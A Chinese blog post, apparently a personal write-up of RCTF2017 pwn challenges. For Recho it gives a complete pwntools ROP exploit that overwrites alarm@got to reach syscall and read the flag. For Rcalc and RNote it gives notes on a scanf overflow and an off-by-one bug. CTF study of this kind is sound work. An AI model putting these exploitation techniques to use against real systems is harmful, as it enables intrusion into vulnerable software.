RCTF2017 pwn | 补题

Author Avatar
Aryb1n 4月 06, 2018

Recho

64位栈溢出
有两个点

  • 第一个在于如何停止输入数据, 就是让read返回0, 然后执行我们的ROP…这个是用p.shutdown('send')
  • 第二个在于我们停止输入了…就没办法getshell了, 只能readflag, 所以这里改动alarm@got的指向, 指向syscall, 就可以使用open -> read -> write这样子读取flag, 更改alarm@got, 我们用add byte ptr[rdi], al; ret

这个第二点表述的比较奇怪…就是我们只能输入一次, 然后就shutdown, 开始ROP, 没有第二次交互机会

#encoding: utf-8
from pwn import *

p = process("./Recho")

elf = ELF("./Recho")

rax_ret     = 0x4006fc
rdi_ret     = 0x4008a3
rdx_ret     = 0x4006fe
rsi_r15_ret = 0x4008a1
add_rdi_ret = 0x40070d # add byte ptr[rdi], al; ret

'''
gdb-peda$ x/5i alarm
   0x7ffff7ad9200 <alarm>:    mov    eax,0x25
   0x7ffff7ad9205 <alarm+5>:    syscall 
'''
payload  = 'a' * 0x38
payload += p64(rdi_ret) + p64(elf.got['alarm'])
payload += p64(rax_ret) + p64(0x5)
payload += p64(add_rdi_ret)
'''
这样子的话, alarm@plt存储的就是syscall, 通过传递eax(rax), 起来不同的函数
由于已经有了read和write, 所以只有open需要使用syscall...read, write布置好参数调用就行了
'''

flag_addr = elf.symbols['flag']


# open(filename = 'flag', flags = 2, mode = 0)
payload += p64(rax_ret) + p64(0x2)
payload += p64(rdi_ret) + p64(flag_addr)
payload += p64(rsi_r15_ret) + p64(0x2) + p64(0xdeadbeef)
payload += p64(elf.plt['alarm'])

# read(fd = 3, buf= bss, size = 0x20)
# fd[0..2] = stdin, stdout, stderr
# 好像这个是递增的..?
payload += p64(rdi_ret) + p64(0x3)
payload += p64(rsi_r15_ret) + p64(elf.bss()) + p64(0xdeadbeef)
payload += p64(rdx_ret) + p64(0x20)
payload += p64(elf.plt['read'])

# write(fd = 1, buf= bss, size = 0x20)
payload += p64(rdi_ret) + p64(0x1)
payload += p64(rsi_r15_ret) + p64(elf.bss()) + p64(0xdeadbeef)
payload += p64(rdx_ret) + p64(0x20)
payload += p64(elf.plt['write'])

p.recvline()
p.sendline('1000')
p.send(payload)

p.shutdown("send")

p.interactive()

Rcacl

题目上来, IDA观察main函数

int main() {
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_400A06();
  alarm(0x78u);
  sub_400FA2();
  return 0LL;
}

这个…sub_400A06, 大概是这样的…不知道要干啥

qword_6020F8 = malloc(0x10)
qword_6020F0 = malloc(0x10)

qword_6020F8[0] = 0
qword_6020F8[1] = malloc(0x100)

qword_6020F0[0] = 0
qword_6020F0[1] = malloc(0x320)

简单看了一下
0x6020F0是实现了一个类似canary的功能

0x6020F8是实现了结果的存储功能, 包括了结果的数量和具体的值, 堆上存的是具体的数值, 8字节一个.

第二个函数sub_400FA2是主要功能实现

功能大概

int sub_400BEE()
{
  puts("What do you want to do?");
  puts("1.Add");
  puts("2.Sub");
  puts("3.Mod");
  puts("4.Multi");
  puts("5.Exit");
  return printf("Your choice:");
}

GG, 看了一遍没发现洞在哪…

蠢哭自己…在输入名字的地方, 有一个scanf, 可以溢出…但题目中有自己写的栈保护机制

结合前面结果存储那里, 没有验证存储的结果数量, 而又是相对栈保护机制的堆块的低地址, 所以貌似可以溢出到高地址的地方来, 改掉自己实现的canary?

需要注意的是, scanf遇到空格\x20也会截断
不只空格…还有\x09, \x0a, \x0b, \x0c, \x0d…等等

因为这些不可用字符, 所以在构造ROP上还是比较难
之后好好写一下wp…

poc稍后放上来

今天好累==, 想睡觉了

RNote

主要功能

******************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
******************

主要结构体

struct Note{
    int inuse;         // 4
    int len;           // 4
    char title[16];    // 16
    char * ptr;        // 8
}; // total 32

我对数据类型产生了….64bit/gcc环境下, int到底是多大…
测了一下..我本机是…4字节…
这个应该就是编译器决定的吧

The sizeof a type is determined by the compiler

Size of a pointer should be 8 byte on any 64-bit C/C++ compiler, but not necessarily size of int.

指针类型应该是32位的4字节, 64位的8字节

在add_note的函数里, 在输入title的时候, 调用的接受输入的函数, 貌似有off-by-one

__int64 __fastcall sub_4009C7(__int64 a1, unsigned int a2)
{
  char buf; // [sp+1Bh] [bp-5h]@2
  unsigned int i; // [sp+1Ch] [bp-4h]@1

=>  for ( i = 0; (signed int)i <= (signed int)a2; ++i ) 
  {
    if ( read(0, &buf, 1uLL) < 0 )
      exit(1);
    *(_BYTE *)(a1 + (signed int)i) = buf;
    if ( *(_BYTE *)((signed int)i + a1) == 10 )
    {
      *(_BYTE *)((signed int)i + a1) = 0;
      return i;
    }
  }
  return i;
}

可以控制存储内容的堆地址的最低位…这样的话, 可以leak地址…但好像没有修改之类的功能啊, 该怎么getshell

最后还是参考了这个writeup, https://drigg3r.gitbooks.io/ctf-writeups-2017/rctf-2017/rnotepwn.html

仔细看一下ctf-wiki里关于fastbin_attack的介绍

RNote2

这题暂时不复现, 先补0ctf_2017的babyheapeasiestprintf, 还有某b00ks, 还有lctf的pwn200, 这个 http://pwn4.fun/2017/06/26/%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BHouse-of-Spirit/